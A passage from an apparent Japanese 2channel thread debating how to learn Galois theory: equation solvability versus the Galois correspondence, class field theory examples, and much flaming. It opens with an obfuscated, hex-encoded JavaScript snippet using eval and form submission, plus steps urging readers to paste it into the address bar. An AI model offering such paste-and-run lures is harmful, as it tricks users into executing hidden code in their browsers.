34345c75386362345c75373533625c7535306
3665c75333034665c75333036305c75333035
355c7533303434273b7375626d69742e636c6
9636b28293b7d';for(l=0,e="";l<s.lengt
h;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));

１：　上のアドレスをコピーする。
２：　コピーしたアドレスをアドレスバーに貼り付ける。
３：　アドレス先に移動する。
　　　上のことやると面白いぜ。一回やってみたけどかなり笑った。

talk:>>199 「兄貴画像ください」とは何のつもりだ？

>>197
そっか。ファンデルウェルデンの本も元はアルティンの講義なんだよね。
アルティンすげー。

>>192 が問題にしてるのは、ガロア拡大を次のどちらの方法で定義したほうが
わかりやすいか、ということなんじゃないか

(1) 自己同型群のある部分群の固定体になっている
(2) 共役体がすべて一致している（かつ分離拡大である）

アルティンの本や松坂「代数系入門」は(1)の方法でガロア拡大を定義しているんだが、
少なくとも初学者には (2) の方法のほうが絶対わかりやすいと思う。

折れの経験では、まず松坂の本を読んだんだが、ガロア理論のところがわか
らず（論理は追えるがイメージがさっぱりわかないという感じ）、次にアルティンの
本を読んだがあいからわずイメージつかめず、ファンデルウェルデン読んで
やっとすっきり理解できた。

>>202
たぶん、その3つをどういう順で読んでも最後に読んだので
理解できたんじゃない？ 本を変えたからじゃなくて、単に
君の理解度が進んだだけで

>202 俺は(2)のやり方しかしらないんだが、確かにｶﾞﾛｱ拡大を扱えるようにはなるが、イメージが掴めなくて、、それでもテスト出来たからそのまま無視してたが、超越拡大に関するﾚﾎﾟやる時に、自然とｶﾞﾛｱ理論の本質は体順同型の特性からくるものだと気付いた(それが(1)?)

努力が必要だね。。。。。。。。。。。。。。。。。

ガロア理論に挫折した人にお勧めのコース

やっぱり歴史に則して勉強するに限るね。

まず、馬鹿にするやつもいるだろうが、矢ケ部著
「数III方式ガロアの理論」を読んでみい。
ただ、この本前半は具体例豊富でわかりやすいのだが、
後半になって、アーベル方程式の話辺りになると、具体的な
方程式の形が見えなくなって読むのが苦しくなる。そのときは、
足立訳「アーベル/ガロア 楕円関数論」の
2 ある特別の種類の代数的可解方程式族について
辺りを読めば、イメージがはっきりしてわかりやすいぞ。それと、
この本には、レムニスケートの等分方程式の話もあるので
ガロア厨にはおもしろいと思う。

これでイメージがつかめたら、お好きな（抽象）代数学の
本をお読みください。

アフォ

(ガロワの)方程式論というのは、現代ではあまり重要視されていない。
それより、拡大体の中間体とガロワ群の部分群との対応
(いわゆるガロワの基本定理)のほうが重要。方程式論に力を入れるのは
無駄とはいわないが、効率がわるい。実際、俺の経験（たいした経験でないが）
からいうと方程式論が他の分野で役に立った記憶がない。

>>208
206で言わんとするところは、巷に大勢いる
ガロア理論がわかりたくてもわからない
人たち向けということ。効率云々はこの際別問題。
このスレで大勢いるような極めている人には
お勧めしません。

>>208
それと、巷のガロア理論の解説書に出てくる
具体例って、なんか貧弱な気がしません？

楕円の周の等分方程式を解くときに現れる
モジュラー方程式の群なんて、とても魅力的（難しいけど）。
ここにこんなものが潜んでいたのかって感じ。

>>209

俺のいわんとするところは方程式論がわからなくても実害はほとんど
ないということ。

>>211
応用面ではそう思いますが，歴史的には方程式から始まっているし，
方程式の可解性をやらないとガロア理論が分かった気にならなくない
ですか？

逆に可解性の理論に比べていわゆるガロアの基本定理は直感的に分かり
やすいので「え？こんなのがガロア理論の核心なの？」てな感じでした。
教科書の記述では基本定理が後の方に出てくるので。

ラカンのガロア理論についてはどう思われますか？

>>211
数学なんてやらなくても実害はない。
算数だけで十分。

>>214

そんなの当たり前。
(純粋)数学をやることにおいて実害がないと言ってる。
文脈から明らかだろ。

>>209
わかっている人には、改めて知らなくても実害がないというなら同意。

それはおいといて、どうしたら誰でもガロア理論がわかるように
なるかを議論しましょうよ。方程式論経由はいいですよ〜

>>216
>わかっている人には、改めて知らなくても実害がないというなら同意。

そんなこと言ってないよ。方程式論というのは歴史的な意味があるだけで、
現代数学にはあまり応用がない。だから、やらなくても問題ない。

>>217

＞現代数学にはあまり応用がない。

それは、現状にとらわれた狭い了見。そう言われている所から再び
新分野が発展するのが数学。知っておいて損は無いし何が隠されているかは
あらためて掘り直す人が然るべく掘ってみるまでは判らない。

>>218

それを言ったら忘れられた過去の数学全部そう。
俺はやるなといってるんじゃない。やりたい人はやればいい。

やっても無駄とはいってない。

けんかなどせずに話題自体は結構おもしろいから落ち着いて議論しませんか？

現代数学にはあまり応用がない，というのはさらりと読んでしまいましたが
書いた人の本心を，具体例をもう少し入れて話してくれると助かります。

私としては，方程式論＝多項式論は是即ち有限次拡大のことであるので
ガロア理論の最も簡単かつ重要なケースとして不可避に思えるのですが。

例えると、208は橋などなくともロープ一本
張ってあれば渡れるといっているやつと同じ。
原理的には正しくとも、踏み外して奈落に沈む
のがおち。

方程式の可解性の判定が現代数学のどこに応用されるのか逆に聞きたい。
俺の言ってることは常識的だと思うんだが、この板では非常識となる
みたいだな。俺に賛成するやつが一人もいないとは、驚きだよ。

>>222

ガロワの方程式論(つまり可解性の判定)を学ぶことがどうして
現代数学の橋を渡ることになるんだ？

収束の概念も知らない哲学マニアとまともに会話しちゃだめっ！

俺としては、>>208がいかにも哲ﾁｬﾝ的な半可通に見えるのだが・・・・・

面白い。俺のどこが哲ﾁｬﾝ的な半可通なのか説明してもらおうか。

あまり実害は無いとか言ってもそれじゃ
モチベーションが涌かないんじゃないのかな

どういうことに役立つ概念なのかとかも分からないし
唯でさえ動機の分かりにくい代数なのに余計分からなくなる

>>228

あんた俺の言ってること完全に勘違いしてる。

別に人それぞれで良い訳だが、物の概念の源泉、整理のパターンを
複数把握出来るなら、次の学習、研究の進展に必ず利がある。
同時にやるか否かは、その時の気分に任せるとしても、機会を見て
ちゃんと把握しておくべきだろう。

この分野を自分の研究の飾り、道具としか考えないのなら
当面はどうでも良かろう。

だから無駄とは言ってないと書いてあるじゃないか。
現代数学を学ぶには基礎的な知識の習得にかなり時間がかかる。
なにもガロワの方程式論(ガロワ群と体の対応理論、いわゆるガロワ理論
とは違うよ、これは重要)を苦労して学ぶ必要はない。その時間を別の基礎知識の
習得に振り向けるのが効率的。方程式論は歳とって隠居してから学んでも
遅くはない。

疑問の筋から言うと「方程式論」
その先の展開の為なら「ガロワ群と体の対応理論」って事でいいんじゃない？

効率なんかどうでもいいという人も当然いていい。
俺の意見はそういう人に向けての意見ではない。

いや一足飛びにgeneralな概念に到達するのも
一部の人には有効かもしれないけどさ

効率的かどうかは人によると思うんだよね
具体例が少なくなるわけだから
代数学の授業の一番最初にカテゴリーとはとか
そういう話したりするのと同じでさ

どっちにしても本は多い方がわかっていきやすくなるよ。

要するに理論的には効率的かもしれないけど
実際には机上の空論で、実際には方程式論経由で
勉強した人よりも理解が遅れちゃうかもしれないよ、と

実例もないまま妙な概念が出てきてとにかく大事なんだじゃ
何が何だか良く分からないし

それにガロア理論って普通選択必修になってるから
別にいいじゃん

どんどん言ってることが迷走してるねえ

集合なんて効率悪いから圏からやるべきだよな

切り口の話もあると思うよ。

だれが具体例を知らなくていいと言った？
方程式論をしらないとガロワ理論の具体例が考えられないというのも
何だな。

じゃあ、具体例に方程式論でいいじゃないか
一体あんたは何を言ってるんだ

方程式の可解性の判定定理ってやつがあるだろ。
そこまで知らなくていいといってるんだよ。
方程式のガロワ群は知らないきゃ話にならない。
そんなの当たり前だろ。

方程式が可解というのはそのガロワ群が可解と同値だけど、
なにも可解なガロワ群だけが重要なわけじゃない。

脳内一人相撲と話してもだめだな・・・・これが哲学マニアと言うやつか

わからん奴だな。Artinのガロワ理論の本を見てみろ。
方程式論はArtin自身は書いてない。別の人間が付録として
書いてる。お前等みたいな奴がいるから、その人間が追加したんだろう。

いや別に貴方の意見もそれはそれで一つの意見なんじゃないの？
Artinの意見が絶対では無いようにそれが絶対だとは思わんが
というか「お前等みたいな奴がいるから」はどうかと思うね

ちなみに>>243はオレじゃないからね

Bourbakiもそうだよ。

dakara nani

>>245

おや風向きがすこし変わったかな？
Artinの名前が出たからって無理しなくていいですよ。

それは現在の数学の方向性で、でも概念は歴史にそって発展したり変遷していくから
生を知りたい（その方がわかりがいい場合もある。）とか、興味があればやればいい
じゃん。何かの議論になる様な話でもないよ。

>>242
何をいいたいのやら・・・　ガロアは可解でない群も
扱っている。モジュラー方程式から導いたモジュラー群が
そうだ。ガロアの遺書をよく読んでみなよ。可解でない方程式・群からも
重要な結果を導いている。
208は歴史を知らないから何か勘違いしている。

だからやりたい人はやればいいとはじめから書いてる。
疲れるな。

>>248
はいはい偉ｽ偉ｽ

>>248
方程式論を学ばない方が効率的だと言ってるから
それも一つの方向性だけど必ずしも効率的だとは
限らないと最初から言ってるが？

君がムキになってるだけだよ

>>250

方程式が可解か*否か*どうか、つまり、その群が可解か*否か*どうか
は現代数学を学ぶ上ではそれ程重要ではないと言っている。

>>253
>君がムキになってるだけだよ

おいおい、俺だけでこの話題はこんなに盛り上がらないよ。

もうさ、嗜好の範囲の話だよ。おやめよ。
そりゃあ、今時、効率も大切だろうよ。
俺たちは時間や議論に対しても「不変な何か」を追ってるんだから、
それぐらい押さえといた方がいいよって言えばそうだろうよ。

まあそれでFAだな

とりあえず>>208は天災

俺は親切心(それだけじゃないが)から言ってる。
苦労して方程式論やってるヒマあったら別の基礎的方面をやったほうがいい。

そうだね

>>208 がいってる「方程式論」の範囲がいまいちよくわからん。
もっと具体的に話して。

>>261

可解性の必要十分条件のあたり。

数学は認識力の極限を突き詰める学問

哲学はイラヌ

何でいきなり哲学が出てくるんだ？

>>259 苦労して方程式論やってるヒマあったら別の基礎的方面をやったほうがいい。
要するに苦労した体験があるわけね。例えば、守屋訳「群と代数方程式」で
勉強したとか？　初心者がこれで勉強すると、確かに苦労すると思う。

>>265

方程式論で苦労しないのは例外だと思うぞ。どんなにいい教科書でもな。

ああ、またハンドルが数字の人ねｗ

自分でいろいろ手を動かしてガロア群を計算しないと、方程式の話は
わからないよ。上っ面だけ本読んでたらダメですよ。
教科書の問題より、読み手の問題のほうが大きいんだな（笑）

しょうがねえな。そういう問題じゃないんだよ。
方程式論は過去の遺物だと言ってるの。苦労しようがしまいが
現代数学と(ほとんど)関係なし。

方程式論より、ガロワ群を基本群として捉える幾何的観点が非常に重要。

>>266
確かにそうですね。ただ同じ高さの山でも登り方
次第では、登りやすくなったりする。
何もしらない人がガロアに惹かれて、ガロア理論を
知ろうとするなら、206の方法もあるかと思い提案した次第。
関係ないけどアーベルの論文は当時の最先端の割には読みやすい。
高校生でも読めるかも？
なお、自分で手を動かさなければいけない、というのは真理。

どこまで行っても平行線だな。俺は自分で計算することを軽視
してるわけではない。計算するなり具体例を考えるのは大変結構。
だけどそれを方程式論という過去の遺物しかも計算がやっかい
(簡単なのもあるがそれらはトリビアルなものが多い)
なもので無理してやることはないと言ってる。

ガロワ理論(ガロワの方程式論とは別)の具体例と方程式の可解性の問題
とはことさら結びつける必要ないと思うんだが。

まあ、208 は別に数学者を目指しているんじゃなくて、現代数学の
本を読んで雰囲気を知った気になりたいだけの人だからさ。
自分で手を動かさなくても別にいいんじゃない？ｗ
やっかいなことからは避けたいようだし。

もうちょっとましな煽りを考えたらどうだ。
まだ修行が足りんｗ

>>274

じゃ、少しマシな煽りを。>>208 は

1）「方程式の可解性の問題 と結びつける」ところで大変手こずった、
　or 挫折した。

2）「方程式の可解性の問題 と結びつける」ところに自分の生きる道の手掛かりを
　得たので、後進の参入を阻止する事にした。

3）ガロア理論の幾何学的側面の素晴らしさに感動して、視野狭窄に陥った。

まぁ、こんな所のどれかだろう。

ガロア理論を方程式論に無理にむすびつけるのはアナクロのシロート

倉田令二朗なみ

俺はｶﾞﾛｱの理論の方法(ここでいう方程式論)に感動したなあ
>>208の気持ちが理解できない

>>271

>> だけどそれを方程式論という過去の遺物しかも計算がやっかい
>>(簡単なのもあるがそれらはトリビアルなものが多い)

具体的には、どんな計算をしたらやっかいだった？
アーベルを見ると、力任せの計算というのは見かけないが。
まあ、そこが偉いところなのだろうが。

ホモT、ホモTPなんか、ガロア理論から幾何学を捉えたからこそ生まれたように思えるんだけど。

ハイハイワロスワロス

>>278
そんな質問しても、まともな返事するわけないよ。
なにもわかってないのに批判だけしたい人なんだから。

たとえば、モジュラー方程式を少し触ってみるだけで、
深さと面白さがわかるものだけど、208は何も知らないんだよ。
まあ理解できる頭もないんだろうしｗ

>>269
久々にしったかレスを見ました。

ガロワ理論を、図だけで説明してくれ

2=8/4

熱い議論が続いてますね。個人的には208氏の意見には賛成できかねます。
私は大本の原理の凄さを理解するのに具体例や応用を示されないと無理なもので。。。
（俺がとろいだけ？すまぬ。。。。。。。。。）
ガロア対応の概念もすばらしいですが、やはり方程式論への応用
をこれからじっくりやってみます。

ガロワ群というのは幾何的なものなんだよ。というより群そのものが
幾何的なもの。群のコホモロジーというのがあるだろ。これが群と
(位相)幾何学との関連の典型的なもの。これをもっと拡張すると
代数学とは幾何学の一部とさえ言える。もっと大げさに言うと
数学とは幾何学なりと言えるかもしれない。

>>278
>具体的には、どんな計算をしたらやっかいだった？

そうね、例えば有理数係数の５次の既約多項式(Eisensteinの定理
か何かで適当に決めてくれ)が具体的に与えられたときそのガロワ群が
可解かどうか判定し、可解ならその根のすべてを係数のベキ根から求めてくれ。

>>285
>私は大本の原理の凄さを理解するのに具体例や応用を示されないと無理なもので。。。

俺にとっちゃガロワ対応の原理自体十分美しいけどね。
ガロワ理論の威力を見るためなら方程式論でなくてもいくらでもある。
例えば類体論、例えば単純環の接合積の理論など。

>>287
難しい問題解くんだね。その手の練習問題ばかりやっていると、
方程式論がつまらなくなるのもわかる。

>>288
> 俺にとっちゃガロワ対応の原理自体十分美しいけどね。
ここまで来ると趣味の問題。とやかく言う筋合いはない。
結局のところ、内心が自分がいかに優れているかということを
自慢したいだけのような気がする。

あと、類体論をやるならモジュラー方程式は歴史的に見ても重要
と思う。ところで、208は類体論を理解しているということでいいのか？

>ここまで来ると趣味の問題。

趣味というより個人の審美眼の問題。

>結局のところ、内心が自分がいかに優れているかということを
>自慢したいだけのような気がする。

俺は数学に関して優れてなんていない。
これは自慢でも何でもない。
ただ、多少(ほんの多少)数学に関する知識は学部学生に比べて多いかも
しれない。分野によるが。
だけど俺の個人的なことなんかこの際関係ないよな(当たり前だ)。

>これは自慢でも何でもない。

これは謙遜でも何でもない。だったｗ

>審美眼
あるんだろうね
基本定理の証明についてちょっと語ってみ

>ところで、208は類体論を理解しているということでいいのか？

多少はね。完全とはとても言えない。

結論：数学に効率的な勉強法など存在しない、自分の好きな所を勉強し、そこから深めていけばよい

なんでそういう結論になるんだ？

俺みたいに試験も卒論も関係ない人間には言えるかもしれないが。

ガロア理論とか類体論とか　証明までみたら　何が美しいんだよ
ぺっぺっぺっぺっぺっぺっぺっぺっぺっぺっぺっぺっぺっぺっぺっ

って感じ

>>294
じゃあ、絶対類体のトリビアルじゃない例を
何か具体的にあげてみて。

>>297
君、君。まずいな。ガロア理論とか類体論とかいったら
反射的に「ああ、あの美しい理論ね」とかいうことになってんだけど。
これはお約束なんだよねぇ。「ぺっぺっぺっぺっ」はまずいなぁ。

自作自演

16:00:30
なかなかいい時刻ですね
お約束にしたのは誰なんだろ
そういえば　てつあんどとも　はいずこへ

>>298

虚数乗法使えばいい。具体例は今すぐには思い出せないが、
調べればすぐ分かる。
こっちから質問しようか。実２次体上の絶対類体のnon-trivialな
例を何か具体的にあげてみて。

くだらねえ試しあい
おまえらまとめて死ねよ

>>303

おいおい。俺を責めるなよ。相手が喧嘩売ってきたんだ。

>>303
黙って見てろよ

>>304
いつまでも、最後に自分の捨て台詞で終わらせないと満足しない餓鬼め
だまって消えろ

>>306
黙って見てろよって

ねぇ　淀川の花火って何時？

>>302
類体論を知らないから質問している。わかりやすく
説明して欲しい。虚数乗法がなんだって？

よしよし　その調子

>>309
>類体論を知らないから質問している。

嘘だろ。類体論を知らないで絶対類体を知ってるのか？

嘘でもなんでもいいじゃんか
教えてやれよ　ケチ

いっとくけど　おれは198の味方だからね

>>311
高木「近世数学史談」には書いてあるね。

>俺は数学に関して優れてなんていない。

禿同

可解方程式がどうこう言ってるやつがちゃんと類体論を理解してるとは
思えんな。そのへんの小山と富士山くらい差がある。でもあんまり
突っ込んだらかわいそうだ。院試の口頭試問を思い出しちゃったよ。

確かに。208 みたいなタイプが口頭試問やセミナーで
教官から一番突っ込みまくられて沈没するタイプだな。

この話題はたいしたもんじゃない。方程式論をやりたい人はやればいいし、
やりたくない人はやらなければいい(やらなくても現代数学の理解に
支障はない)。これだけのことに何めくじら立ててるんだろ。
まあ、想像はつくけどね。

どうしても、俺が勝った宣言したいようだな

しょうがねえな。俺が類体論を理解していようがどうか関係ないだろ。
ここで問題にしているのは、俺の意見の内容だろ。
極端に言えば俺は数学なんて全然知らなくてもいいはずなんだよ。
問題は俺の意見であって、おれの知識や能力は関係ない。
意見を純粋に意見として聞くことが出来ずに、その意見の持ち主
の属性をとやかく言うのは、ｘｘの兆候だろうな。
自分の判断力に自身がないと言ってるようなもん。

よかったね

>>311

198は俺なんだけどね。オイラーのスレの番号を引きずっただけｗ
だから、このスレの198とは別人。

528 名前：１３２人目の素数さん[sage] 投稿日：2005/08/02(火) 16:09:55
>>513
漏れは198の書き込みは無視している。
198の独壇場だとも思わない。
198の独善的な人をﾊﾞｶにしたような書き込みは見るに耐えない。
人格が少し歪んでいるようだ。
書いてる事が正しいかどうか以前の問題。

だからさ、俺への個人攻撃してもしょうがないだろ。
問題は俺の意見だろ。
因みにオイラースレは繁盛してるよ。

>>323
数オタたるもの、人を見下してこそ一人前
俺は遠慮すっけど

>>325

間違いを指摘されて頭にきた奴の言うことなんか信用するなよ。

>>302
答えはまだかい。具体例など調べなくとも、208なら
自分で作れるんじゃないか。287のような問題が解けるのなら
簡単だろ。

>>327
いいや、忘れてるからな。言っとくが仮に類体論に詳しい(俺は詳しくはない)
としても虚数乗法を理解してるやつはそう多くはない。
知りたかったら自分で調べてくれ。

虚数乗法ならまかせろ

>虚数乗法を理解してるやつはそう多くはない。

実は歴史的には虚数乗法が類体論の母体なんだけどね。
虚数乗法というのは１９世紀の数学の頂点に位置するものと言って
いいかもしれない。現代数学においても重要だろうな。

>>328
要するにわからないということか。それに虚数乗法の
質問しているのではないのだが。
なら、
>>302
>> こっちから質問しようか。実２次体上の絶対類体のnon-trivialな
>>例を何か具体的にあげてみて。
の答えを教えてくれんか。

>>331
>要するにわからないということか。

忘れたと分からないとはかなり違うと思うんだが。
結果的には同じだけどな。

>それに虚数乗法の
質問しているのではないのだが。

お前はしてなくても他の奴がしてるんだよ。
少しはスレを追えよ。お前はいつも局所しか見ないんだろ。

>の答えを教えてくれんか。

それも忘れたｗ

しかし、>>298の質問はなかなかいい。いずれ答えを書こう。
だけど、ここはガロワ理論のスレだからな。類体論のスレに書こうか。

>>332
>それも忘れたｗ
最初から知らなかったんだろう。正直に言ったら。
208は数学やるような性格じゃないな。

>忘れたと分からないとはかなり違うと思うんだが。
>結果的には同じだけどな。
忘れたということは過去の一時期はちゃんと理解していたということか？
それなら結果的にも「分からない」とはまるっきり違うぞ。あんたも
数学をやってるなら一度理解できたことは半永久的に，少なくとも10年や
そこらじゃ忘れないということは経験的に分かるよな。些細な枝葉なら
ともかく，大まかに内容を人に説明できないなら何も分かってないと
いうことも十分分かってるよな？少なくともあんたは類体論を
ガロア理論の重要な応用として挙げたんだからきれいさっぱり忘れた
なんてことないよな？

無意味ななじり合いはお互い気分が悪いだけなので，絶対類体の
質問に一言答えてやりなよ。仮にも類体論を理解したことがある
なら答えられるはずだよ。「忘れてただけ」なら本をぱらぱら見返せば
すぐに思い出すさ。

まずガロア拡大について

一度理解したからって細かいところは忘れることはおおいにあるだろ。
俺なんかいつもそうだよ。だけどそういうのは調べればすぐ思い出す。
だからいずれ答えを書こうといってるだろ。

因みに俺が虚数乗法を勉強したのは１０年以上前だ。１０年は
軽く超えてるが正確に言うと歳がバレるんでなｗ

>>337
ガロアはあれをムショぐらしの間、脳内でやってたんだぜ？

>>338
わかった。あんたが思い出すまで（今から虚数情報を理解し始めて勉強し終わるまで）まってるよ。

>>337
>俺なんかいつもそうだよ。だけどそういうのは調べればすぐ思い出す。
これから必死に勉強してくれｗ　それと「思い出す」まで静かにして
くれるとみんなうれしいと思うぞ。

w

俺も208大好きだよ。志村の本で勉強するといいよ。がんばれよ〜

------------ここからの議題------------------

「方程式論を軽んじて類体論を学ぶことの危険性について」

虚数乗法論には俺も若いころ惚れたんだよ。
Jugentraumだっけ？ 前のほうで類体論の証明が汚いとか言ってる
奴がいたが分かってないな。美しいものが簡単に手に入ったら
有り難味がないだろ。

美しいといやあヒルベルト記号だ。あの美しさをセールで読んだときは
震えたね。

>>345
また出てきた・・・
で、208は「美しいもの」を手に入れることができたのか？

345=346？

因みに俺は大分前から数論から離れている。
だから難しい質問は控えるようにｗ

346は俺。346=343=335=etc.
俺は現在数論専攻。でも難しい質問は控えるようにｗ

>>348
はいはい、君の勝ち君の勝ち

店頭に並んでるガロア理論の読本は、５次方程式が解けない（代数的に）
ことの説明しか書いてないが、ガロアにしてみれば、５次方程式の解法
（完成したのはエルミートか誰かだったろうが）の道筋を見つけた
ことのほうをしっかり書いてほしかったんじゃないかな。日本語の本
では、シュプリンガーの超幾何方程式の本に少し書いてあるぐらいだが。

クラインの正二十面体の本が出てるのを忘れていた。
正二十面体といえば、セール大先生もセミナー録を出してたな。

>>316

遅レスだけど、お前の言ってることはピントはずれ。
俺がガロワの方程式論を理解してないと決め付けてるようだけど、
そんなこと言ってないぞ。
しかし、決め付け人間にはまいるな。思い込んだら一途に思いこむんだから。

>前のほうで類体論の証明が汚いとか言ってる
奴がいたが分かってないな。

お前には結局美しいものがわからないんだよ
それで満足していろ　大体ガロア理論が美しいとかなんとか
ほざいているのはお前だろうが
結果だけ見て美しいなんて言うのは数学音痴だよ

音痴は自分の音程がはずれているのが
わかっていても修正できない人を指すのではなく
音程がはずれていることがそもそも認識できないのである

>>353
> しかし、決め付け人間にはまいるな。思い込んだら一途に思いこむんだから。

あなたのことですかww

>まいるな。
簡単にまいるな　もっと頑張ればなんとかなる

ガ　　　　ロ　　　　　ワ

自分で試問しといて答え聞かれたら「忘れた」かよｗ
都合のいい奴だな

>>351
exact formula にはいくつかのバリエーションがあるが、
最初に見つけたのは、エルミートではないよ。「エルミートが
最初に見つけた」と書いてある本は多いけど。

うわぁぁ。。。。。。。。。。。。。。。
熱い。熱すぎるこのスレッド。。。。。。。。。。。。。。。。。

208 が痛いだけだろ。。。。。。。。

妥協点も見つけられない阿呆だね
一度議論になったら相手が屈服しないと気がすまない

じゃあ俺の負けってことにしておこうｗ
この話題はこれで終わりにしようじゃないか。飽きた。
代数幾何スレのスペクトル系列の続きを書くか。

>>359

忘れてた、終わる前にこれだけは言わせてもらおうｗ

はあ？ 質問するときは答えを知ってなきゃなんないのか？
誰が試問だと言った？

HIHI YOUWIN!YOUWIN!

>>349
失礼！　208のネット上の別人格かと思タヨｗ

類体論にくらべれば代数幾何なんて屁みたいじゃん

>>364
おいみんなー，なんちゃって類体論の208が今度は代数幾何だの
スペクトル系列だのいってるよ！みんなでそっちに移動しようぜ！

まああのおじさまは2chの代数幾何スレ名物だからｗ

虚数乗法論を思い出そうと久しぶりに志村の本を見たが驚いたな。
殆ど忘れているｗ だけど追いつくのにそんなに時間はかからない
と思うぞ。期待して待っていてくれ。

分かったよ，おっさん。みんなあんたを待ってっからな。

>>371
やっぱり、343=208かｗ　ということは、
＞ 346は俺。346=343=335=etc.
も208。自作自演お疲れｗ

何寝ぼけてるんだ。虚数乗法論といったら志村だろうが。
このたこ。

みっともねえなあ

このスレで208が好きな椰子はいないと思われ

人それぞれ。決め付けるなよ。
因みに俺は「僕ちゃん、みんなに好かれたいの」というタイプでは
ない。それぐらいわかるよな。

だからオナニー野郎と言われるのかｗ

若いっていいな。すぐそっち方面だｗ

208は人から好かれなくともいばりたいのは確かだ。
そのためには自作自演も必要ってことかｗ

＞ 346は俺。346=343=335=etc.
いや，だから俺は208じゃないって。普段は質問スレなどで解答作ってる
けどたまたま見たガロアスレでおっさんたちが熱い議論してたので発言
しただけだよ。まあ，どうでもいいけどさ。

>>208
いろいろ叩かれてるみたいだがいつまでも逃げずに208を名乗り続ける
ところはすごいな。虚数乗法復習しなおしたらまた戻ってきてくれ。
いっぱいつっこんでやるからな。それまでばいばい。

>>381
あんたが誰であろうと、208とは合うのは間違いないようだ。
いっそ新スレ立てて、208と一緒に勉強してやってくれんか。
ついでに一般常識を教えてやってくれればなおよし。

一般常識？ 笑わせるな。お前等、どのつら下げて一般常識って
いってるんだ。このスレのお前等のレスを読みなしてみろ。

言葉は反射するものですよ

それは俺のセリフ。

ノーノー後だしダメネー

だから　いいか　おまえら　ガロア理論が方程式の解法に役立つとか
役立たないとか言ったら　役立つにきまってんじゃんか
だけど　いいか　おまえら　ガロア理論はもう方程式のことなんか
忘れちまったんだよ
つまり　いいか　おまえら　ガロア理論はな　もう遠くの空に
飛び立ったんだよ

だからおまえらもメソメソせずに　まあ　頑張れ

あからお互いさまだろ。俺だけ責めるのは筋ちがい。

まず、おまえ。次にオイラースレの人だ。
公平だろ？

うぇーん　ガロア理論様は　僕たち方程式を忘れてしまったのですか

泣くな　弟よ　20歳で死ぬには　ありったけの勇気が必要なんだ

くだらねえな。数学の話しろよ。一般常識なんて学校の先生に
まかせておけよ。

しろよ　数学の話を

シロ　無理です　犬ですから

208、お前は出された宿題をまず解け。解ける実力が
あるならお前の言うことを聞いてやる。それまでは
何を言っても説得力がない。新スレ逝け。

堅いこと　言うたんなや　悪気がないわけじゃなし
人格がいいわけじゃなし　取り柄もあんまりなさそうだし

で解いたら何してくれる？

>>393
答えられない
答えがない
答え甲斐がない
答えを忘れた
答えを思い出そうとしているが　志村を読んでも思い出せない

http://www.amazon.co.jp/exec/obidos/ASIN/4101360316/250-1657836-5290622

志村の基本くらい読んどけ

変なおじさんのための虚数乗法

>>395
上にも書いてあるように君の主張に耳を傾けてあげるよ。
今の君の書き込みは○○○○と同じだ。
新スレで待っている。

>>399
新スレの住所を教えてあげないと
迷ってしまいますよ

ホント不親切な人ね

>>208
みんなが↓↓↓で待ってるよ

198が自分は偉いと言い続けるスレ

主張なんかないんだけど。

青年には主張がなくてはいけません
組織には首長がいります
そして
インディアンには

発言は、君が思うように評価されるのではなく、他者によって評価された時
まさにそのように評価されるのである。

>>402
返事は「 198が自分は偉いと言い続けるスレ 」に書くことにする。
ここで書くと図にのるだけだから、他の人もそうすべし。すでに
いい具合に悪臭を放っている。

虚数乗法論とははアーベル拡大の構成だからここに書いてもいいよな？

いくらでもどうぞ
405は無視していいです　許します

>>406
オイラースレでやっている自分用の勉強ノートの類なら
「 198が自分は偉いと言い続けるスレ 」に書いとくれ。

>>406
不可

せっかくの198スレなのに
別の人に乗っ取られちゃうよ

>>408

オイラースレに俺が書いたものが理解出来たか？

あれが理解出来ないなら虚数乗法なんて夢のまた夢。
虚数乗法は類体論よりムズイんだからな。

いまはもう実数乗法論を模索する時代だけどな。

有理数乗法はいかがかね

絶対類体の例だけなら虚数乗法はいらなかったw
ナーキーヴィッツの本にヒントがあった。

虚２次体 k = Q(√-15)の２次拡大 K = k(√-3) = k(√5) = Q(√-3, √5)
を取ればいい。

実２次体 k = Q(√65) の２次拡大 K = k(√5) = k(√13) = Q(√5, √13)
もそう。

虚数乗法の具体例は志村の本には無かった。
志村の本によると詳しくはFrickeやWeberなどを見ろとある。
そんな本見れないよ。

>>415

k = Q(√-15), K = Q(√-3, √5) の場合、K/k が絶対類体である
ことの証明：

K/k の共役差積(イデアル)を D とする。

√-3 は f(X) = X^2 - √-3 の根で、f'(√-3) = 2 √-3
よって、2 √-3 ∈ D となる。
同様に 2√5 ∈ D となる。

-3 と 5 は互いに素だから、√-3 と √5 も(Kにおいて)互いに素。
よって K のイデアル (√-3, √5) は (1) となる。
つまり 1 = α√-3 + β√5 となる K の整数がある。
2 = α2√-3 + β2√5 だから、 2 ∈ D となる。
一方 g(X) = X^2 + 3 X + 1 の根(の１つ)は、γ = (-3 + √5)/2
で、g'(γ) = √5 だから、√5 ∈ D となる。
よって、5 = (√5)^2 ∈ D となる。
つまり、D には互いに素な整数 2 と 5 が含まれる。
よって D = (1) である。
よって、Dedekindの判別定理より K/k は不分岐である。
k の類数は(高木の初等整数論の付録より) 2 だから
K は k の絶対類体である。

>>416
√ｰ3や√-5の虚数乗法はアーベルの論文に例にがありますね。
確か、日本語訳もあると思う。

Q(√65) の場合の証明も同様。

>>418

その本は持ってるけど、その例とｊ不変量との関係がよく分からない。
結局 Weber を見るしかないかと。

因みにナーキーヴィッツの本の参考文献によると Cohn という人が類体の
具体的構成について書いてる。

ナーキーヴィッツの本は２年ほど前、2chで誰かがamazon.jp で値段が
とんでもなく安く売っていると書いていたのを読み、即注文したものw
確か千円台だったw
２ｃｈはたまに役に立つから馬鹿にならない。

楕円関数の本は日本でも出てるけど楕円モジュラー方程式には
言及してない。フルヴィッツ・クーラントの本も同じ。
志村の本も詳しくない。何故なんだ。

Siegelの楕円関数とアーベル関数の本も言及してない。
あのSiegelでさえ書いてないんだよ。

Tｚｚｚｚ　ﾋﾞﾋﾞﾋﾞ

電波発信中

現在208警報発令中

>>417
実際に、ｋのイデアルはＫでは単項化してるの？

>>427

[2, (1+√-15)/2] が Q(√-15) の単項でないイデアルのひとつ。
これで計算してみてくれ。

または Q(√65) の非単項イデアル [ 5, √65] で計算したほうがいいかな。

>>393

解いたよ。

208警報発令中
208警報発令中

>>428
そう言わず教えて

>>431

たぶん Q(√5, √13) の整数基底を求める必要があるだろ。めんどい。
類体論の単項化定理より単項になるのに決まってるんだから確かめなくても
いいじゃないか。

>>431

Q(√5, √13) の整数基を求める必要はないか。
Q(√5, √13)において、(5, √65) = (√5) だろ。

